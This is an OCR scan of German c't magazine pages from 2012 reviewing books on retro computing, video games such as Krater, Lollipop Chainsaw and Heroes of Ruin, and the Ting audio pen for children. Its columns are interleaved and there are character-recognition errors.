gerdt — auBer Spielen beherrschten vor
allem Werkzeuge fir Kreative den Anwen-
dungsmarkt fir das System. Raytracing, Vi-
deoverarbeitung und Farbgrafik mit kiinstle-
rischem Anspruch waren bereits vor 25 Jah-
ren beliebte Tummelplatze fir Amiganer.

In seinem Buch, das in der Reihe ,Plat-
form Studies” erschienen ist, zeichnet
Maher die Entwicklung des Amiga sowie der
wichtigsten Programme wie etwa Deluxe
Paint oder Sculpt-Animate nach. Der Tief-
gang der Betrachtungen ist betrachtlich. So
demonstriert der Autor nicht nur die Her-
stellung von Animationen, er beschreibt
obendrein haarklein, wie Software auf dem
Amiga realisiert wurde. Das geht bei der be-
rihmten Ball-Demo oder dem Spiel ,Mena-
ce” durchaus bis auf die Ebene von Assemb-
ler, Blitter und Copper herunter. Samtliche
Schritte dokumentiert Maher mit vielen Vi-
deos im Netz unter http://amiga filfre.net/.

Maher beschrankt sich nicht nur auf
technische Aspekte, sondern beschreibt
auch den Mikrokosmos, der rund um den
Amiga entstand. Er analysiert den unrihm-
lichen Niedergang des Herstellers Commo-
dore, beschiftigt sich ausfihrlich mit der
Demo-Szene und ldsst sogar den Schopfer
des ersten Amiga-Virus zu Wort kommen.
Dabei schwelgt er nicht in Nostalgie, son-
dern liefert mit Sachkenntnis Informatio-
nen, nach denen friher mancher lange su-
chen musste - eine rundweg erfreuliche
Lekture fur Alt-Amiganer, die sich nicht
davor firchten, gedanklich in den Maschi-
nenraum des Systems hinabzusteigen.

(Maik Schmidt/psz)
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Constantin Gillies

Extraleben Il - Endboss

Ein Abenteuerroman fir die
~Generation Commodore 64"

Die ,Extraleben”-Helden Nick und Kee,
Veteranen der C-64-Ara, sind inzwischen
deutlich Uber vierzig, aber nie richtig
erwachsen geworden. Das neue Aben-
teuer der Altsystem-Datenretter beginnt
an der Absturzstelle eines Flugzeugs, mit
dem ihr Chef verungliickt ist. Aus dem
Wrack fischen sie ein Datenband heraus,
das ihnen schlie3lich eine ausgedehnte Irr-
fahrt durch die USA einbringt - dhnlich
der, die einen grofen Teil des ersten Bu-
ches fillte.

Leider glanzt ,Endboss” nicht gerade
durch Uberraschungen und neue Ideen,
auch wenn diesmal eine Entflihrungs-
Story und eine kleine Portion Weltrettung
hinzukommen. Aber was macht das schon,
wenn Erinnerungen einer ganzen Genera-
tion von Computerkids, Science-Fiction-
Kinofans und Pop-Konsumenten durch die
richtigen Stichwérter und Hinweise wieder
lebendig werden? Und schéne Aphoris-
men gibt es auch, etwa in Bezug auf eroti-
sche Fantasien: ,Schrecklich - da ist man
bald so alt wie Yoda, aber der Typ, der im
Kopf die Filme einlegt, bleibt immer finf-
zehn.” Oder angesichts eines noch nicht
mal 45 Jahre alten IBM 5110 beider Arbeit:
JElektronik altert schnell und meistens
wirdelos.” ,

Zum (frah vorhersehbaren) Schluss hin
mutet Gillies seinen Lesern einige Unge-
reimtheiten zu. Diejenigen, die sich an De-
tails aus dem ersten ,Extraleben” erinnern,
werden sich fragen, wie sich manches dort
Gesagte mit dem Handlungsverlauf in der
neuen Roadstory vertragt.

Wer noch keines der drei Buicher kennt,
dem sei das erste empfohlen, das auch gut
fur sich allein stehen kann. Freunde der
Romanhelden und Retro-Computing-Ge-
nossen, die ungefahr zwischen 1963 und
1973 geboren wurden und sich tber eine
zusatzliche gro3e Dosis Musik-, Film- und
Gaming-Anspielungen aus der 80er-Kiste
freuen, machen aber mit dem Kauf von
+Endboss” nichts falsch. (psz)
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Spiele | Adventure, Endzeit-Strategiespiel

Feen, Vogel und Voraussagen

Aventurien, die Welt des Wirfel-
Rollenspielsystems ,Das Schwar-
ze Auge” (DSA), stand schon
manches Mal kurz vor dem Un-
tergang. Zum Glick fand sich
bislang stets mindestens ein
Held, der bereit war, das Unheil
abzuwenden. Zum ersten Mal
geschieht dies nun in einem
reinrassigen Adventure.
Hauptakteur in DSA - Sati-
navs Ketten ist der Vogelfan-
ger Geron. Er gilt als Ungliicks-
bote; dreizehn Jahre zuvor er-
ging eine Prophezeihung,
der zufolge ausgerechnet
er das Ende seines Hei-
matlandes Andergast her-
beifihren wird. Jetzt tau-
chen plétzlich im ganzen
Konigreich Krahen auf und
unheimliche Morde passie-
ren - finstere Machte sind
am Werk. Geron jedoch will
sich nicht einfach dem ver-
meintlichen Schicksal er-
geben, sondern versucht
mit allen Mitteln, das Ver-
hangnis aufzuhalten.

Die Idee, ein rollenspieltypi-
sches Geschehen.in ein Adven-
ture zu packen, kann bei Genre-
freunden beider Seiten zunachst
misstrauisches Stirnrunzeln her-
vorrufen. Das Konzept geht in
diesem Fall jedoch auf; das Spiel
funktioniert sehr gut. Die
handgezeichneten, liebevoll
ausgefuhrten Grafiken las-

sen die passende Atmo-

sphare aufkommen; ei-
nen hohen Anteil daran
haben die ausdrucks-
starken Gesichter der
Figuren.
lhre  Sprachani-
mation ist allerdings
gewohnungsbe-
diirftig: Ahnlich wie
bei vielen japanischen
Animés bewegen sie
auf eine sehr steife, mi-
nimalistische  Weise
den Mund; Lippensyn-
chronitat gibt es nicht. Da-
durch entsteht eine eigen-
willig statische Anmutung,
die ziemlich gut zum be-

Am Rande des Abgrunds

Giftige Dampfe, mutierte Tiere,
schwer bewaffnete Soldner — das
Schweden der Zukunft ist alles
andere als idyllisch, wenn man
dem Action-Strategical Krater -
Shadows over Solside glaubt.
Nach einer nuklearen Katastro-
phe gibt es nur noch wenige
Uberlebende. Die siedeln sich
am Rand eines gewaltigen Kra-
ters an, unter dessen Schutt- und
Gesteinsmassen wertvolle und
nutzliche Artefakte liegen.

Der Spieler steuert ein Team
aus drei Séldnern, die gegen Be-
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zahlung in verlassene Fabriken
oder unterirdische Lagerrdaume
eindringen, um von dort techni-
sche Leckerbissen der Vergan-
genheit ans Tageslicht zu holen.
Nebenbei stauben sie dabei Waf-
fen und verschiedene nutzbrin-
gende Implantate fir das eigene
Team ab.

In mancher Hinsicht erinnert
.Krater” an die Action-Rollen-
spiele der Diablo-Serie. Wie dort
steht die standige Konfrontation
mit Monsterhorden im Mittel-
punkt; wer dabei Erfolg haben

sonderen Stil des gesamten
Spiels passt.

Die Ratsel sind mehr als
knackig, zudem wird der
Spieler nicht gerade mit
Hinweisen Uberhauft. Auf
manche Lésungen kommt
er durch fleiBiges Knobeln.
Oft ist es jedoch nétig,
viele verschiedene Kombi-
nationen von Gegenstdn-
den geduldig auszupro-
bieren.

Wirklich gut gelungen
sind die beiden Hauptcha-
raktere. Geron ist ein sym-
pathischer Kerl, der zum

Mitfuhlen reizt. [hm steht die
Fee Nuri zur Seite - sie sorgt mit
ihrer Naivitat und Offenheit fur
Schmunzelmomente. Dass sie

will, muss sich die besonderen
Fahigkeiten jedes Team-
mitglieds zunutze ma-
chen. Man verfolgt das
Geschehen aus einer
Schragdraufsicht-
Perspektive. Die
Grafik kann Dia-
blo Il in puncto
Detailfreudigkeit
und  Auflésung
nicht das Wasser
reichen. Allerdings
ist sie sehr eigenwil-
lig und mit Sinn fur
Humor gestaltet worden. Die
Schrott-Asthetik des Terrains
und die skurrilen Ristungen wir-
ken durchaus reizvoll.
Bemerkenswert ist unter an-
derem das Konzept der Waffen.
Eine Pistole oder Keule kann
nicht bloB Schaden anrichten,
sondern auflerdem Eigenschaf-
ten der Spielfigur verbessern, die
sie tragt. Die meisten Gegen-
stande kann ein Akteur im Spiel
nicht nur finden, sondern auch
selbst herstellen - sofern er die
nétigen Komponenten dafir in
seiner Inventarliste hat.
Das unabhangige schwedi-
sche Entwicklerstudio Fatshark,
das ,Krater” geschaffen hat,

dabei nie dumm wirkt, ist den
sehr gut geschriebenen Dialo-
gen sowie ihrer hervorragenden
Synchronstimme zu verdanken.

(Nico Nowarra/psz)

Vertrieb Daedalic Entertainment,

www.daedalic.de

Betriebssystem  Windows 7, Vista, auBerdem
Xbox 360, PS 3

2600-MHz-PC oder Mehrkern-
System, 3 GByte RAM, 512-
MByte-Grafik

ohne Online-Aktivierung
Umsetzung @

Hardware-
anforderungen

in den nachsten Wochen noch ei-
nige Verbesserungen nachlegen
- unter anderem soll es einen
kooperativen Online-Modus
geben, der es Spie-
lern in aller Welt er-
laubt, Team:s fiir ge-
meinsame Schatz-

jagden zu bilden.
JKrater” ist derzeit
nur Uber die Online-
Plattform Steam
erhaltlich. Die
JCollector’s Edition”
bringt zusatzlich zum
Spiel noch den Soundtrack in
Form von MP3-Dateien sowie
die Sonderfigur Dr. Cerebro mit.
(Nico Nowarra/psz)

Vertrieb Fatshark,
www.kratergame.com
Betriebssystem  Windows 7, Vista
Hardware- 2600-MHz-Mehrkern-P(,
anforderungen 4 GByte RAM, 512-MByte-
Grafik
Kopierschutz  Online-Aktivierung und
Registrierung iiber Steam
Idee O Umsetzung (@]
Spal @ Dauermotivation @

1 Spieler « Deutsch « USK nicht gepriift,
red. Empfehlung ab 16 < 14 € (Collector's
Edition 19€)
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Von Tempeln und Templern

Adam ist ein waschechter Aben-
teurer in den wilden 1920er-Jah-
ren - einer Zeit, als diese verwe-
gene Spezies noch in Mode war.
Der Professorensohn, der flie-
Bend Latein beherrscht, hat eine
Schwaiche flr die Geheimnisse
des Koénigs Salomo und ist von
den Tempelrittern fasziniert.
Ahnlich wie Steven Spielbergs
Indiana Jones liebt er das Risi-
ko und wachst
in gefahrli-
chen Situa-
tionen uber
sich selbst
hinaus.

Adam’s
Venture, Episode 3 -
die Offenbarung fihrt
die Geschichte um Adam,
seine Freundin Evelyn
und den Palast von Salo-
mo zu ihrem Abschluss. Die bei-
den ersten Episoden braucht
man aber nicht zu kennen, um
das Geschehen zu verstehen.
Gleich zu Beginn des neuen
Spiels fallt Adam in Ohnmacht
und lasst den Spieler als Zeugen

Sony bietet immer mehr PSN-
Spiele auch fir die PS Vita an,
die man fur alle Plattformen nur
einmal erwerben muss. So
wurde fir das Vita-Rennspiel
Wipeout 2048 nun die PS3-Ver-
sion Wipeout HD samt dem ge-
lungenen Fury-Addon als Erwei-
terung umgesetzt. Neben zwei
umfangreichen  Solo-Kampa-
gnen enthdlt die Erweiterung
alle 12 Tracks und 24 Gleiter
sowie die Fury-Spielmodi. Die
Tracks sind schmaler und kur-
viger als im 2048-Hauptpro-
gramm und erfordern mehr fah-
rerisches Konnen als Feuerkraft.
Besitzer von Wipeout 2048 kon-
nen das Komplettpaket flir
13 Euro aus dem PSN laden.
Wer Wipeout HD bereits aus
dem PSN fiir die PS3 erworben
hat und Wipeout 2048 besitzt,
bekommt die Vita-Erweiterung
kostenlos.

Nach Nintendo und Sega hat
nun auch Microsoft seine Teil-
nahme an der Kolner Spiele-
messe Gamescom abgesagt.

c't2012, Heft 15

seines Traums die Anfange der

Geschichte in Kurzform erleben.

Die finale Episode ist beim

Erzéhlen ihrer Geschichte von

ziemlicher Hektik gepragt. We-

der die Vergangenheit noch das

grof3e Finale wird hinreichend

ausfihrlich gezeigt. Man kann

.Die Offenbarung” in nur drei
Stunden durchspielen.

Die Entwickler haben sich

entschieden, die Unreal En-

gine 3 zu nutzen. Sie dient

normalerweise als Grund-

lage fur Shooter oder

Action-Adventures und

ist nicht unbedingt

erste Wahl fur dialog-

orientierte  Spiele.

Viele Rétsel 16st man

dadurch, dass man

Objekte bewegt und

an die richtige Stelle

ruckt. Hingegen spielt das Kom-

binieren aufgenommener Ge-

genstande - sonst ein Parade-

kennzeichen von Adventures -

nahezu keine Rolle.
Leider sind viele Aufgaben
alles andere als klar. Der Spieler

Man wolle sich mit der
Xbox 360 und Kinect auf kleine-
re eigene Prasentationen kon-
zentrieren, hiel3 es zur Begriin-
dung. Sony hat indes eine Teil-
nahme bereits bestatigt.

Studenten der Gruppe ,12 An-
gry Devs” an der Universitat
Salzburg haben das wunder-
hibsche Plattform-Puzzlespiel
OfLight & Shadow als ihre Ab-
schlussarbeit veroffentlicht. In
dem kostenlos fir Mac und
PC erhéltlichen Downloadspiel
durchstreift der Spieler mit zwei
Figuren eine farbenfrohe Hupf-
landschaft. Mr. Light muss dabei
unbedingt immer im Lichtkegel
der Scheinwerfer bleiben, wah-
rend Dr. Shadow sich in den
Schattenbereichen bewegt. Gra-

ist mehr damit beschaftigt, den
Sinn der unzureichenden Be-
schreibungen zu entschlisseln,
als die Ratsel selbst zu I6sen. Das
macht das Spiel ziemlich schwie-
rig, aber auf unfaire Weise.

Erfrischend ist die Bewe-
gungsfreiheit, die man genieft.
Adam kann in die Hocke gehen
und so durch niedrige Gange
kriechen. Mit einem kihnen
Sprung ldsst man ihn an Vor-
spriinge hechten und hinaufklet-
tern. Die Entwickler haben die
Turn- und Sprungeinlagen aller-
dings nicht sinnvoll im Spiel ver-
ankert; diese wirken weitgehend
deplatziert.

Mehr Liebe zum Detail und
mehr Sorgfalt bei der Umset-

fik, Sound und Feinschliff bewe-
gen sich auf einem Niveau, das
man bei Freeware selten findet.

In Psychout muss der Spieler
eine in einer Zwangsjacke ge-
fangene Figur aus einer Gummi-

zelle befreien. Jeder Bildschirm
stellt dabei ein neues Ratsel. Mal
lasst sich die Schwerkraft um-
drehen, mal fiihren unsichtbare
Bricken tber einen Abgrund
oder die Wande verwandeln
sich in Pong-Schlager. Das ab-
gedrehte Puzzle-Spiel von Fun-
Crow ist unter dem c’t-Link kos-
tenlos spielbar.

Angehende Hacker und andere
Strategen kdnnen den PC-Klas-
siker Uplink jetzt auch auf dem
iPad spielen. Introversion Soft-

Spiele | Adventure, Notizen

zung hatten aus dem dritten
Adam-Spiel etwas wirklich Fei-
nes gemacht. Rein visuell
braucht sich ,Die Offenbarung”
nicht zu verstecken, und auch
die Atmosphdre kommt stimmig

heriber. (Nico Nowarra/psz)

Vertrieb Iceberg Interactive,
www.iceberg-interactive.com

Betriebssystem  Windows 7, Vista, XP

Hardware- 2200-MHz-PC oder Mehrkern-

anforderungen  System, 2 GByte RAM, 64-
MByte-Grafik

Kopierschutz  ohne Online-Aktivierung

Idee @ Umsetzung €]

Spal O Dauermotivation @

1 Spieler « Deutsch » USK 6 < 10 €

ware bietet fir 4 Euro eine ge-
lungene Umsetzung an, bei der
Spieler Uber Internet Gateways
in andere Rechner eindringen
und Daten stehlen miussen.
Wegen des hohen Textanteils
sind gute Englischkenntnisse
erforderlich.

Zumindest technisch gelungen
ist die Portierung des Adven-
ture-Klassikers Myst auf das
iPad. Cyan Words realMyst ar-
beitet allerdings nicht mit ge-
renderten Standbildern, son- .
dern lasst die Spieler in der
nachgebauten Umgebung frei
herumlaufen und nach den
richtigen Schaltern und Ldsun-
gen suchen. Die etwas um-
standliche Steuerung und die
langen Wege zwischen den
Puzzles ziehen das eh schon
langatmige Spielprinzip aller-
dings noch mehr in die Lange
und erschweren die Orientie-
rung. Der Preis von 5,50 Euro
soll bald auf 8 Euro steigen.

www.ct.de/1215183
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Spiele | Rollenspiel, Action-Koméodie

Taschenteufel

Nachdem Diablo 3 auf PCs und
Macs das Klick- und Sammel-
Fieber neu entfacht hat, legt
Square Enix fur Nintendos 3DS
mit Heroes of Ruin eine mobile
Variante nach. Genretypisch
durchstobert der Spieler H6h-
lenlabyrinthe, drischt auf angrei-
fende Monster ein, sammelt
Schétze und Ausrustungen und
genehmigt sich ab und zu einen
Zaubertrank, um seine Lebens-
und Mana-Energie wieder aufzu-
fullen. So steigt er Level um Level
auf, lernt neue Spezialangriffe,
mit denen er den ebenfalls star-
ker werdenden Gegnern einheizt.

Vier Charakterklassen stehen
zur Wahl. Der gut geschiitzte Rit-
ter und der durchschlagsstarke
Barbar greifen jeden Gegner im
Nahkampf an und blocken deren
Schldge. Bei den Fernkampfern
wahlt man zwischen dem flinken
Revolverhelden und der herum-
wirbelnden Zauberin. Sie sind
nicht so widerstandsfahig und

Vertrieb Nintendo / Square Enix
System Nintendo 3DS
4online /lokal

Umsetzung @®

® qut O zufriedenstellend
©O sehr schlecht

halten sich deshalb von Gegnern
besser fern. Neben ihren Stan-
dardangriffen beherrschen sie
durch Mana verstérkte Spezial-
Attacken. Der Spieler lernt oder
verbessert sie mit jedem Level-
Aufstieg. Wie er sich dabei ent-
scheidet, spielt in der Praxis aller-
dings kaum eine Rolle. Weil die
Monster relativ leicht zu erlegen
sind, bedarf es kaum ausge-
fuchster Spezialfahigkeiten oder
Taktiken, um die Auftrdge der
Bewohner zu erledigen.

Die vier Akte des Abenteuers
dauern rund zehn bis zwélf Stun-
den und lassen sich allein oder
mit bis zu vier Spielern koopera-
tiv durchspielen. Heroes of Ruin
sucht Kontakt tGber eine lokale
WLAN-Verbindung oder uber
das Internet. Bei unseren Proben
liefen die Partien fllssig und die
Verbindungen blieben stabil.
Wie beiDiablo werden die Hoh-
len immer wieder zufallig neu er-
stellt, die Missionen und Boss-
gegner andern sich jedoch nicht.
Meldet man sich bei der Websei-
te des Spiels an, bekommt man
jede Woche neue Auftrage, mit
denen man seine Recken weiter
aufsteigen lassen kann.

Das umfangreiche Inventar-
und Attributsystem verspriht
den Charme einer Tabellenkalku-
lation, verschafft dem Spieler
aber einen guten Uberblick.

Blutbad im Minirock

Das japanische Enfant Terrible
Suda 51 ist fur seine extrava-
ganten Spiele wie ,No more
Heroes” bekannt. In seinem
neuesten Werk — treffend Lolli-
pop Chainsaw genannt - ldsst
‘er eine 18-jdhrige Cheerleaderin
im Minirock mit einer Ketten-
sige Zombies zerlegen und
literweise Blut verspritzen. Von
der ersten Sekunde an nimmt
sich das Uberdrehte Spektakel
nicht ernst. Gleich zu Beginn
muss Juliet ihren geliebten
Freund enthaupten, als er von

Vertrieb Warner Interactive
Systeme PS3, Xbox 360

Idee @ Umsetzung @®
SpaB @ Dauermotivation O

1Spieler « Englisch, dt. Untert. - USK 16+ 48 €
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Zombies gebissen wird. Der
Kopf baumelt fortan an ihrem
Gurtel und kommentiert ihr
Kettensdagen-Massaker mit spit-
zen Bemerkungen.

In den folgenden sechs Stun-
den schnetzelt der Spieler unab-
léssig Horden von Zombies nie-
der, die Juliets Schule tberfallen.
Suda 51 nimmt durch immer
neue Spafe jedweden Ernst aus
dieser Trash-Oper. Ponpons we-
deln zu Heavy-Metal-, Funk- oder
Punk-Songs, wahrend Juliet
einen Flickflack schlagt und mit
ihrer Séage die Untoten zerteilt.
Dabei lernt sie immer wieder
neue akrobatische Angriffe, die
der Spieler mit schnellen Tasten-
kombinationen auslost. Zwi-
schendurch lockern kleine Retro-
Mini-Spielchen das High-School-
Gemetzel auf. In den hochsten

Wenn ein Monster einen Gegen-
stand fallen lasst, sieht der Spie-
ler sofort, fur welche Charakter-
klasse er bestimmt ist, welchen
Level er voraussetzt und welche
Attribute er verbessert. So kann
er sich gleich entscheiden, ob er
ihn nutzen oder verkaufen will,
ohne erst ins Inventar wechseln
oder einen Handler aufsuchen
Zu mussen.

Die gefundenen Gegenstande
lassen sich online mit anderen
Spielern tauschen. Uber die
StreetPass-Funktion bekommen
Spezialhdndler Angebote ande-
rer Spieler herein. Die sofortige
Verkaufsoption beim Einsam-
meln der Gegenstande konterka-
riert jedoch den Tauschhandel.
Weshalb sollte man sich die
Mihe machen zu tauschen,
wenn man gleich bare Miinze
bekommen kann?

Square Enixisteine sehr tGber-
sichtliche -und logische Bedie-
nung gelungen. Dank der einge-

beiden von vier Schwierigkeits-
graden haben selbst Profis Mihe
gegen die insgesamt funf Geg-
nerbosse und miissen wegen
der sparlichen Speicherpunkte
langere Wiederholungen in Kauf
nehmen.

Lollipop Chainsaw ist das bis-
her skurrilste Werk von Suda 51,

blendeten Karte weifl man jeder-
zeit, wo sich wichtige Missions-
punkte oder Gesprachspartner
befinden. Der eigentliche Spie-
lerbildschirm der 3DS ist aller-
dings sehr klein, sodass man
immer nur einen winzigen Aus-
schnitt der Umgebung sieht. Die
zu erkundenden Labyrinthe sind
deshalb nicht so ausladend wie
etwa in Diablo oder Torchlight.
An seine beriihmten Vorbilder
reicht Heroes of Ruin zwar nicht
heran, lasst jedoch andere mo-
bile Hack&Slay-Rollenspiele wie
Dungeon Hunter hinter sich.
Ware der Schwierigkeitsgrad
hoéher und wirden die Charakte-
re noch jenseits des 30. Levels
aufsteigen, so ware man durch-
aus motiviert, nach ein- bis zwei-
maligem Durchspielen der Kam-
pagne noch weiter online nach
seltenen Waffen und Ristungen
zu suchen. So aber lasst Heroes
of Ruin einen Teil seines Poten-
zials verpuffen. (hag)

das wie eine Uberdrehte Kirmes-
version von Segas Bayonetta
wirkt. Spielerisch hat die tber-
zuckerte Zombie-Komodie so
viel Substanz wie eine Tlite Pop-
corn, doch die abstruse Prdsen-
tation sorgt flr breites Grinsen
nicht nur bei Trash-Liebhabern.
(Peter Kusenberg/hag)
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Einstlirzende Altbauten

In Babel Rising dreht Ubisoft
das tibliche Tower-Defense-Prin-
zip einfach um. Hier muss man
den Turmbau zu Babel nicht ver-
teidigen, sondern als erzlrnter
Gott verhindern, dass er zu Ende
gebaut wird. Dazu lasst man
Steinbrocken auf die Arbeiter
plumpsen, beschwort Blitze, Wir-

Vertrieb Ubisoft

Systeme i0S, PS3, Xbox 360, PC,
(Android geplant)

Mehrspieler 2 lokal (nur PS3/Xbox 360)

Idee @ Umsetzung )

Spal © Dauermotivation ©

Deutsch + USK 12« 2,40 bis 10 €

belstlirme, Eiszauber und Erdbe-
ben. Doch die Menschen schi-
cken ihre Priester mit Schutz-
schilden voran, die man zu-
nachst mit einer Flutwelle fort-
reilen muss. Spater folgen
verwunschene Urnen, die man
nicht zerbrechen sollte, sonst
blockiert deren Zauber die gott-
liche Macht.

Leider haben die Entwickler
ihr originelles Szenario nicht be-
sonders gut umgesetzt. An der
PS3 und Xbox 360 hat man mehr
mit der storrischen Gestensteue-
rung der Move-Fernbedienung
oder Kinect-Kamera zu kdmpfen
als mit den eifrigen Bauarbeitern.
Auf dem Touchscreen des iPhone

Laser-Show im Wohnzimmer

Dank ihrer eingebauten Kamera
kann die PS Vita die reale Umge-
bung fir Augmented-Reality-
Spiele nutzen. Sechs AR-Karten
mit QR-Codes liegen Sonys Mo-
bilkonsole bei. Legt man sie auf
einem Tisch aus, so projiziert die

Retro-Ballerei

Dual-Stick-Shooter findet man fuir
iOS-Gerdte inzwischen zuhauf.
Aber keiner zirpt und wummert
so herrlich wie Mutant Storm.
Die spate Umsetzung fiir das iPad
erst sechs Jahre nach dem Debiit
auf der Xbox 360 hat dem Spiel
nicht geschadet. Die abgefahre-
nen Synthie-Sounds und die
bunte Retro-Grafik nehmen den

Vertrieb Crescent Moon Games
System iPad

Mehrspieler 2 lokal (nur PS3/Xbox 360)
Idee O Umsetzung ®®
Spal @ Dauermotivation @

1Spieler « Deutsch + ab 9 Jahren + 2,39 €

't 2012, Heft 15

PS Vita auf ihnen verschiedene
Spielobjekte, die auf dem Bild-
schirm zu sehen sind. Nachdem
die ersten AR-Spiele lediglich
Demo-Charakter hatten, bietet
PulzAR nun 25 knifflige Puzzles.
Der Spieler muss von einer AR-
Karte aus eine Ra-
kete starten, um
einenaufdieErde
zurasenden Me-
teoriten zu zer-
storen. Dazu muss
er die ubrigen
Karten geschickt
platzieren  und
einen von der
Basis ausgehen-

Spieler gleich gefangen. 89 bild-
schirmfillende Arenen gilt es in
einem kleinen Raumschiff zu
Uberleben. Wenn es gut lauft,
dauert jede Angriffswelle kaum
eine Minute. Skurrile Tentakel-
wesen und knallbunte Angreifer
sorgen fur Abwechslung. Im Un-
terschied zu Geometry Wars und
Infinity Field stirmen aber nicht
gleich alle Gegner auf den Spieler
zu, sondern wandern dhnlich wie
beim Urvater Robotron auf eige-
nen Pfaden in der Arena umher.
Dadurch wirkt die Ballerei weni-
ger hektisch.

Der Schwierigkeitsgrad passt
sich dem Spieler dynamisch an.
Klart er einen Level besonders

oder iPad geht es

leichter. Hier tippt

man auf die Arbei-

ter, um sie mit

einem Steinschlag
auszuknocken oder

streicht am Bild-

schirm entlang, wo-

raufhin eine Erdspal-

te sie verschlingt.

Starkere Waffen kann

man in der gunsti-

geren iOS-Version

Uber In-App-Kéufe erwerben, sie
brauchen zuweilen jedoch sehr
lange, bis sie aufgeladen sind. So
tippt man haufig wild umher,
ohne dass etwas passiert.

Auch die Missionsauftrage
wie ,Tote 450 Arbeiter” oder
+Wehre die Arbeiter neun Minu-
ten ab” zeugen nicht gerade

den Laserstrahl so umleiten, dass
er durch moglichst viele rotieren-
de Sterne geht, bevor er die Ab-
schussrampe erreicht. Angesichts
des nahenden Meteoriten bleibt
dazu wenig Zeit.

Nach den ersten finf leichten
Aufgaben werden die Ratsel
schwieriger. Dann muss man
Splitter, Farbfilter und Reflektoren
richtig setzen, um Barrieren und
Farbportale zu umgehen. Startet
die Rakete vor Ablauf des Count-
downs, so zertrummert sie den
Meteoriten Uber dem Kopf des
Spielers. Schafft man es nicht,
geht ein Meteoritenschauer nie-
der, der die Basis zerstort.

Sony hat die Laser-Strahl-
Puzzles mit den AR-Elementen
beeindruckend in Szene gesetzt.

schnell, wird er im nachsten Ab-
schnitt umso aggressiver ange-
griffen. Verliert er eines seiner
Bildschirmleben, so
schalten auch die
Gegner einen Gang
zurlick.  Allerdings
verringert sich dann
auch der Punkte-
Multiplikator.

Mutant Storm ent-
wickelt sich schnell
zu einer spannenden
High-Score-Jagd. Je-
den zehnten Level
schaltet der Spieler
nach einem be-
sonders schwierigen
Gegner einen Spei-
cherpunkt frei, von dem aus er
beim néachsten Mal starten kann.
Letztlich gilt es, die acht Schwie-

Spiele | Strategie, Puzzle, Action

von Inspiration. Dank der put-
zigen Grafik unterhdlt Babel
Rising einige Minuten lang,
wegen der einténigen Missio-
nen und Endlos-Level und der
zuweilen zickigen Steuerung
klingt der gottliche Zersto-
rungsdrang jedoch bald ab.

(Peter Kusenberg/hag)

Vertrieb  Sony Computer Entertainment
Systeme  PSVita

Idee @ Umsetzung ®
SpaB @ Dauermotivation O

1Spieler « Deutsch * 0. Altersb. - 2 €

Wichtig ist eine ausreichende Be-
leuchtung der Karten, damit die
Kamera sie erkennt. Zudem muss
man die PSVitain konstanter Ent-
fernung ruhig tiber dem Spielfeld
halten, was auf Dauer etwas an-
strengen kann. Nichtsdestotrotz
verbindet PulzAR die reale und
die virtuelle Umgebung zu einem
Uberaus ungewohnlichen Puzzle-
spiel, das man sich zu dem gtins-
tigen Preis nicht entgehen lassen
sollte. (Peter Kusenberg/hag)

rigkeitsgrade bis zum Ende
durchzustehen, was selbst Profis
viel Ausdauer abverlangt. Cres-

cent Moon ist hier ein einfacher,
aber enorm packender Arcade-
Shooter gelungen. (hag)
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Kids’ Bits | Horstift

Ting - der Horstift

Himmer AG
www.ting.eu
Windows XP/Vista/7
Mac OS X ab 10.4
35€

ab 3 Jahren

EAN: 4260234440003

Der Ting-Stift bringt stumme Me-
dien zum Sprechen und den Be-
trachter zum Zuhéren. Dazu mus-
sen Blicher oder andere bedruck-
bare Dinge unsichtbare Codes
enthalten, zu denen jeweils ein
Gerdusch oder ein gesprochener
Text gehort. An der Stiftspitze be-
findet sich ein Sensor, der die
Codes liest.

Bevor es losgehen kann, tippt
man auf ein sichtbares Startsym-
bol, das sich bei Blichern vorn auf
den ersten Seiten oder hinten auf
dem Einband befindet. Falls die
zugehdrigen Audiodaten bereits
auf dem Stift gespeichert sind, ist
er nun startklar. Andernfalls for-
dert er per Sprachausgabe dazu
auf, den Stift Uber ein USB-Kabel
mit einem Windows-PC oder Mac

zu verbinden. Fir den Download
der passenden Ting-Dateien be-
notigt der Rechner einen Inter-
netzugang. Falls der Stift seit dem
letzten Kontakt mit dem Rechner
mehrere Symbole abgetastet hat,
werden nun Daten zu allen aus-
gewahlten Produkten geladen;
bei Windows-Rechnern funktio-
niert das Symbol-Antippen plus
Nachladen auch bei bestehender
USB-Verbindung.

Ist der Stift prépariert, spielt er
Gerdusche, einige Takte Musik,
Worter oder Sétze ab, sobald man
mit der Sensorspitze auf eine ko-
dierte Stelle zeigt. Die Klangqua-
litat ist dabei erstaunlich gut.

Im Vergleich zum orangefarbe-
nen Tiptoi von Ravensburger
(siehe c’t 2/11, S. 181) ist der
weiBe Ting kleiner, vor allem
schlanker und liegt daher etwas
besser in der Hand - besonders in
kleinen Kinderhdnden. Weitere
Unterschiede: Der Ting hat einen

Bauernhof-Ratsel

arsEdition
www.arsedition.de

6 €

4 bis 6 Jahre

ISBN 978-3-7607-8445-8

Schon wegen seines handlichen
Formats ist das ,Bauernhof-Rat-
sel”-Pappbuch von arsEdition
gut geeignet fur die Fahrt in den
Urlaub. Auf 32 Seiten bietet es
ein buntes Potpourri an kurzwei-
ligen Aufgaben rund um das
Thema Bauernhof. Beim Antip-

pen liest der Ting
zu jeder Seite eine
verstandliche Anlei-
tung vor.
Das Kind erhalt
akustische Unter-
stltzung beim Zah-
len der Waren im
Hofladen. Es be-
stimmt,  welches
Produkt von wel-
chem Tier stammt
und hilft dem Bauern, seinen
Traktor durchs Labyrinth nach

Komm mit, wir reisen zu Mozart

arsEdition
www.arsedition.de

15 €

ab 5 Jahren

ISBN 978-3-7607-6928-8

Pauline entdeckt auf dem
Dachboden ein Zauberklavier.
Als sie darauf spielt, beginnt
eine magische Zeitreise nach
Salzburg ins Jahr 1761. Dort
freundet sie sich mit dem jun-
gen Wolfgang Amadeus Mozart
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an. Pauline besucht ihn immer
wieder an wichtigen Stationen
seines Lebens und erlebt sogar
eine Auffihrung der Zauberflo-
te in Wien.

Der Ting ist hier mehr als nur
Vorleser: er entfuhrt in das Leben
und die Zeit Mozarts. Nach An-
tippen der Ting-Symbole erfahrt
der Leser, wie der junge Wolf-
gang Amadeus seine ersten Auf-
tritte hat, warum er schwer
erkrankt, wie er spater zum Ritter

Akku, der Uber das USB-Kabel
aufgeladen werden kann; aufler
am PC geht das auch mit einem
gesondert erhéltlichen Ladegerat.
Im Tiptoi von Ravensburger ste-
cken dagegen zwei AAA-Batte-
rien (1,5 Volt). Das Programm zur
Verwaltung der Ting-Audio-Da-
